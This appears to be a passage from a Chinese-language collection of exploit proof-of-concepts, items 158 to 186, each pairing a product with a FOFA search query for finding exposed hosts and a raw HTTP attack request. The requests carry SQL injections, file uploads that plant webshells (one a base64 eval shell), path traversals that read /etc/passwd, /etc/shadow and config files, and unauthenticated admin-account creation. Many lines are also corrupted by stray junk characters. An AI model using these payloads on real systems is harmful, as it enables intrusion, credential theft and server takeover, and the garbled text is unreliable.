4 t  Q' ~* C+ I2 X( C2 h------WebKitFormBoundary1imovELzPsfzp5dN
) L. d' m) j/ m+ y* {1 J' _2 `Content-Disposition: form-data; name="field"

null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"
% [( K1 I; g) i" h- a6 p+ \! I" k9 t0 {* Z* Q
5 \8 u  Y% I, e' k) J' J: lnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
, F) L; @' k0 ?
  v: E  z) N) P. H3 x$ anull
* H: |  E8 d( `; i------WebKitFormBoundary1imovELzPsfzp5dN--


6 a4 R6 G. k1 x- C7 @+ ~  w+ P4 B4 Z7 |http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
: q1 r0 K6 ~& F$ o: R
158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
% c' G) C7 Y$ _2 a" q2 {! [POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
' p  G% m; R2 Y* o1 Z0 h. v- sHost: {{Hostname}}
/ `9 n4 C- o) d' D/ L& S- nContent-Type: application/x-www-form-urlencoded
  U* h  Z+ a6 B/ s3 B2 z, i+ O
6 |( _- s& I6 N  Q) d! Yobject=displayregion&contenthistid=x\'&previewid=1

6 t  P. B1 |; f9 [# w6 m+ u$ {6 Q
159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
  ?$ W5 R5 D8 a+ f- ]FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
$ v5 \/ S  r8 `4 DContent-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
! F: P8 }8 c1 I) Z  x+ l6 aContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

% y3 y# _- q/ _2 D  ?<?xml version="1.0" encoding="utf-8"?>
' A6 J0 t( {  B; f<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
  J* r) [! k3 t- A; V$ x$ }</jobUpload>
+ ?( _' E( h6 {1 L0 }</soap:Body>
</soap:Envelope>
0 b1 R) N3 w* u* n* V- s" I

. p6 v/ H' n9 w2 D( p/ W( S+ P& t/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
8 U6 x- J0 Q$ y6 `6 {+ HFOFA：title="Nexus Repository Manager"
  P: ?5 B* w- `  ]( P9 Q& V/ SGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
* H( y  F$ C3 CHost: x.x.x.x
& \% Y( P1 {$ w1 G7 D) |( O' ~User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
% C) l9 I' n- J/ V3 E% YConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

2 m5 g$ K( }8 j  }/ w. q. N
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
4 S1 g3 S. J- ?' T* r+ S0 s' z第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
. |( v# Z6 [+ ~, [- j* \) Q8 U+ `* {. eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
5 C/ X! @5 O- ]* A- b0 tConnection: close
1 t! X$ r+ |* S) r9 a  ]Content-Length: 445
/ |/ `: T% Z  dContent-Type: text/xml
3 ?; H& I, ~9 f9 s5 K6 LAccept-Encoding: gzip
% H) U! Y/ F$ y, w: \7 j
6 D) m1 J  M4 k. W) j+ F<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
2 c, I* ^8 k- Y<soap:Body>
$ Q- H2 `0 x6 l: F5 s$ ?. y<UploadResume xmlns="http://tempuri.org/">
2 H# P4 N7 a( O<ip>1</ip>
2 E2 ~! V7 `* z, \' H' Q/ r<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
</UploadResume>
</soap:Body>
</soap:Envelope>
1 A' I3 e: ?- h- M/ a

http://x.x.x.x/dizxdell.aspx
* O% X$ w5 @( B0 s5 I
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
# j2 P) F* D; d' o1 z4 [/ w; i. I6 }Host: x.x.x.x
0 b' k1 g  @) X' W; H; `" ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
# q7 i) V+ m3 m% ]. AConnection: close
Content-Length: 583
' A! d0 t: G  V4 y- O2 K' [Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip
" `; \, f" a! `" K7 F* F) p  I$ t
; l- N* h& z/ n/ {------WebKitFormBoundaryeegvclmyurlotuey
1 @# W( k2 z0 o+ wContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
( T' @9 M0 F: h; w
<% response.write("ujidwqfuuqjalgkvrpqy") %>
' e# D$ Q4 y* S9 [------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

upload
& @& ]7 y) K7 J; W6 e  S: }------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"

ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"
, ~+ X; p# S) l" `, j
/opt/resources
# L' N& e6 V/ F& _0 {% s9 N------WebKitFormBoundaryeegvclmyurlotuey--
0 U  g* A5 C8 k4 C7 }+ d. ~1 N

- D5 S8 g: E5 F7 Qhttp://x.x.x.x/opt/resources/kjuhitjgk.aspx
/ _( b% Q8 p( T' H6 n  O9 L
. }+ U. ^8 g6 u. u163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
" ]6 h3 o' V% V+ `" a9 B3 tFOFA: icon_hash="-795291075"
9 N4 r5 J. Q) cPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
" w# }1 m. q$ {% e1 o# K' jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
3 u3 z% y& `$ l1 RConnection: close
& R  V1 D2 C! h2 x# i/ FContent-Length: 293
Accept: */*
5 A7 K0 i+ k" bAccept-Encoding: gzip, deflate
4 G" e! ~4 n6 QAccept-Language: zh-CN,zh;q=0.9
' H6 U5 [9 c9 L* e- C; z: W/ J3 bContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
" ?0 L% q7 o( x
$ c" D% E  V7 g' Q5 ^* C' p------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

1.php
* f' b- Q' o( u+ Y0 O------iiqvnofupvhdyrcoqyuujyetjvqgocod
6 e. I- }. Q  l6 FContent-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg
% u2 d6 V( V( [' X# w% s
0 l0 F8 F7 r& t7 F8 orvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
2 Y, U. o$ Y; Q% e: h# f! k
; h9 w, O# C6 t; ?3 T! b* i
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
- W, ]0 U* ~: g0 MFOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
1 ^4 I- Q& ~% Q" V" u: l, FContent-Length: 288
/ s$ ^/ p4 {7 W' GAccept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
% [: V! m+ R& k& e. t0 bConnection: close
% Y; V$ K- f: Y& A& g" b+ [Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
3 h) l: Z/ j2 r' z# vX-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
- R" D1 [* [) X# t
------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
; C  }. R; i8 i
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
. ^* `' w% |6 K------dqdaieopnozbkapjacdbdthlvtlyl--
! Z7 I2 x2 O6 i3 I
) X& x: K. r" t1 u" e
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
% `& N' U2 S# P" L. @8 m( F
9 R* @! R. V7 G- G$ E1 [. i165. OrangeHRM 3.3.3 SQL 注入
% U' _# ?3 I/ g  CCVE-2024-36428
) N" L+ e4 F$ p5 t- |2 iFOFA: app="OrangeHRM-产品"
, x1 z8 f/ q" O  u- c2 yURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))


2 P, N; k% G# M3 \2 K/ t166. 中成科信票务管理平台SeatMapHandler SQL注入
' v- [3 a6 A& w- y" a/ C* X6 DFOFA：body="技术支持：北京中成科信科技发展有限公司"
3 k) w- F" _$ O( j. X* s9 TPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
; f0 P4 x2 Q" d% W+ ?Host:
! ^- r% r9 j. b4 M" Y$ r, W8 {Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
* `: s/ p6 E/ }. E, ]5 f8 t4 KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
' v% J, c4 g1 l5 G; ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
8 g- {' e& j! s" w8 P- \4 U. sCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
- v5 v% \! A# n5 j, \Content-Length: 89
9 W: g6 k7 s! B+ R4 p; E
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE


+ N' O1 A( o5 ?2 J. E/ M167. 精益价值管理系统 DownLoad.aspx任意文件读取
6 {: I, R& s- w! t; T- y7 }FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
9 [; U. u, _9 Y3 Y! ?; l8 h2 ZContent-Type: application/x-www-form-urlencoded
" u: j! O0 _7 a( z, |) F; lAccept-Encoding: gzip, deflate
Accept: */*
+ h4 a1 z# M6 F$ C( L) hConnection: keep-alive

8 E- C/ B5 O8 V  B
; c9 M' R$ o: ?* v' u: h168. 宏景EHR OutputCode 任意文件读取
) X7 U( U2 X$ jFOFA：app="HJSOFT-HCM"
: I) A7 ~5 X; uGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
/ `! T4 O  C: q% hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
; ]) l9 ?% y. p* hConnection: close
- ^6 f' i0 ~7 \$ m3 v0 x
. o& a' c) J9 y8 A

: s# P: i+ Q$ d( m169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
4 m4 K0 w: j  l! f) b, C5 ~GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 Q+ n' f5 Z% X$ c+ _' u* gAccept: */*
, e, z1 y" T5 H# }$ t  V7 l3 xAccept-Encoding: gzip, deflate
; |9 J. q! @4 L6 V9 E8 X8 s$ X, QConnection: close
0 J. t, `9 b- U7 P
3 u, G( X" J) }8 z2 G* B& H

% v4 D& i: r4 Q9 j# `0 n170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
7 g$ u7 H0 c7 zHost: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; P; o- q. V4 UContent-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml

8 q$ ~$ b* Q" Q2 m- V
+ h$ E4 C% a9 @5 \171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
; X1 q- L/ q5 @( O- @8 A' S9 L/ \Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: D! S& O0 j" y: sAccept-Encoding: gzip, deflate
5 K& k) b( T1 K7 m$ GConnection: close
0 f: n$ X! E) E8 f7 ]* L0 }% E
- i9 Y; w' c3 z* i( y3 W

+ d1 X0 j) y1 y2 p: K* j172. DT-高清车牌识别摄像机任意文件读取
" e8 G8 r- P1 K3 K# e( A* z; aFOFA：app="DT-高清车牌识别摄像机"
6 m; t! z$ o# L9 J3 c/ K  e7 eGET /../../../../etc/passwd HTTP/1.1
) V& T8 G: ?5 B1 p1 qHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
! Z8 E4 F! G  J1 I$ [Accept: */*
Connection: keep-alive

' f+ S' b( O" U6 S5 r! b5 Z. v
8 h5 f4 L6 H+ j
173. Check Point 安全网关任意文件读取
1 H4 W# o& F0 e/ z; wCVE-2024-24919
* [- ?8 \8 o$ r2 W( N" NFOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
1 p- A( ~+ y5 L: B! [* O7 _; T. B- v' bHost: your-ip
Content-Type: application/x-www-form-urlencoded
" @4 p* u, n! l, d6 M
/ t+ I. B% S+ O" \  o0 e1 uaCSHELL/../../../../../../../etc/shadow
9 t  A' p' s+ m& Q% J2 O% ?


6 E. V% a: h; J2 q, j. W: l174. 金和OA C6 FileDownLoad.aspx 任意文件读取
/ q9 u* m1 R  v7 n( XFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' t# B1 P# \$ X  u7 B# V- g8 rAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
+ F$ t9 x' Q( }4 E2 [
7 V4 F: F+ m/ E* j2 r1 h

+ P9 G9 J. Q; ^6 I+ p% W% o175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
3 r9 H  {0 D) @  MFOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
; N2 Z, w5 g  b' h+ [$ IHost:
+ P3 K' D( }2 f( K# E2 X( ZUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
. q5 F; t3 R8 \2 L; l% Y' t0 ~' ~" MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 v5 Z1 h3 N( k! ~# ^  j7 `Accept-Encoding: gzip, deflate
- B4 Z9 H: t/ a& t: ]! g0 IConnection: close
. v9 t, j4 H' g: yUpgrade-Insecure-Requests: 1

, b" o2 \9 @. P1 k
176. 电信网关配置管理系统 rewrite.php 文件上传
% \5 B; T6 `& z( s. |( BFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
' f8 s% A2 a! ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
7 {2 d. f, a( YConnection: close
. `3 ^7 d4 R- M% u, n5 t4 K
2 W5 t# Y" A7 ~6 o+ e! c. A2 n------WebKitFormBoundaryOKldnDPT
: g; z, {+ O! OContent-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
3 z- R: b4 f8 }------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"

, q# ^: [$ l+ e% t2 @7 G0 V1 f6 W9 `" a) r
- j7 o% P6 j4 \7 H------WebKitFormBoundaryOKldnDPT--
$ J# R$ i) L1 D5 \/ T5 B


: f$ t: [- _" }177. H3C路由器敏感信息泄露
+ U' B0 z' }$ s2 @/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
' {8 m3 C4 z6 t9 m- @7 l5 w% S6 U) X/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
( t1 b! }  q. ]. v1 H) p! c/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
! E4 i: x; u1 i& q/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
! F( U" V; [+ V% A* o& J, g7 s& Y/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
# d4 H! [$ i5 K8 L/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/ A8 O# P7 f  p( V0 L- c+ U4 e/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
* p7 M; m, J$ e! m. d; I8 d5 h' Q( J/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
& n& D9 e  U" A( m! d) T/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
6 E5 K" j% P6 ^8 Q- q
  A0 T  p- I7 Z; k" s" b! a/ w
6 {) H7 q- [$ G* ~" r( r178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
0 _" x* \" j( k3 S5 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
2 s% M6 d) ~" nContent-Length: 252
Accept-Encoding: gzip, deflate
' V: K1 |" ^% ^' e1 d. ]! sConnection: close
: t) y5 a7 L' m: ]/ ]4 |Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
5 }6 g% y" ]' IContent-Type: application/octet-stream
Content-Length: 255

12234
+ V% \3 Q+ p+ G' V8 S1 V-----------------aqutkea7vvanpqy3rh2l--


4 i/ n" b8 W7 m3 ~' ~GET /imc/primepush/%2e%2e/flex/12234.txt
' e4 g! `5 g( s$ T$ {% T

- K  q3 }# Z& s8 Y0 V# c, m179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
0 Z# s* k6 m8 i1 eHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

/ v0 ^; l8 ]& jpath=../log4net.config&Name=

3 l0 d0 }+ ]" O
180. 帮管客 CRM jiliyu SQL注入
- D7 N% e7 |) o/ n. ?3 r- d9 B3 u5 tFOFA：app="帮管客-CRM"
  b6 @- R1 \/ M/ D0 U/ |- oGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
7 a" H2 ]' Q( nHost: your-ip
% |) N6 i- y) b0 ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
, o8 R$ u7 s! E6 v, w$ K1 ~1 D7 qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# w$ S1 s; v4 r# m1 F7 w$ n, lAccept-Encoding: gzip, deflate
! D2 F7 k5 c, u  q* L. ]) z) oAccept-Language: zh-CN,zh;q=0.9
" o: L8 ]/ Q6 O2 [* w) wConnection: close


% E  T( L8 o0 v# a$ Z2 R2 S181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
6 s+ o, J6 B! R  U) \/ J! S4 k% eHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
: A/ L/ F" x+ {) H: `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 q  l% G. H3 A0 l1 YAccept-Encoding: gzip, deflate, br
, y. C  {2 ^: m1 i9 Q, |Accept-Language: zh-CN,zh;q=0.9
Connection: close
& P# N. P9 D+ d5 k- u; NContent-Type: application/x-www-form-urlencoded
" H! H# T: R: X% p" z3 K

: N6 V: F" z& k7 raction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
( R5 u+ [$ S! {; KFOFA："PDCA/js/_publicCom.js"
  _4 l- \+ S% a  P* vPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
7 x0 R. M/ u+ BHost: your-ip
  m6 v7 O3 h4 g/ u3 n! lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: P3 u1 c' I$ h2 }: W6 vAccept-Encoding: gzip, deflate, br
) @# J# m% j* ?- e4 m$ Q. hAccept-Language: zh-CN,zh;q=0.9
6 F- j, H$ V3 K4 m; Z$ ~Connection: close
Content-Type: application/x-www-form-urlencoded

/ c% P- W) A0 O% B& h& N
7 t9 A9 U1 o0 tusername=test1234&pwd=test1234&savedays=1
* g6 v4 W% \8 t
5 v! Z, Z  Y& Z& s( J$ e! T
1 A3 e; }* r( _3 Q$ N7 s) F4 \183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
& A  M1 {3 C+ ]Host: your-ip
4 h- n4 [4 h/ [" W  \* PUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
. y% Y; ^, p9 ?+ j' b8 `Accept-Encoding: gzip, deflate
Connection: close
3 m* t8 U" Z& E0 O

184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
) h' S, w  i5 P* T8 p( SFOFA：server="SunFull-Webs"
0 g; }3 W2 W$ o' e: t, m. T4 ?  GPOST /soap/AddUser HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
$ A* |5 r. ^" ^. T- J6 oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
! l6 m9 S1 [4 s+ }Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# O9 N( I; A6 J# v) U3 nX-Requested-With: XMLHttpRequest
9 _! k' m7 w/ I3 j0 C0 M# t( V  F$ z

insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
2 r7 C, Y9 C6 @! K, ^) d

185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
1 u& @1 L: {9 m8 K; n4 XFOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host

8 r( e% k0 ^7 ~# Q- R6 I7 S
- [3 |. j1 f! e% Q0 b. e! R+ T186. F-logic DataCube3 SQL注入
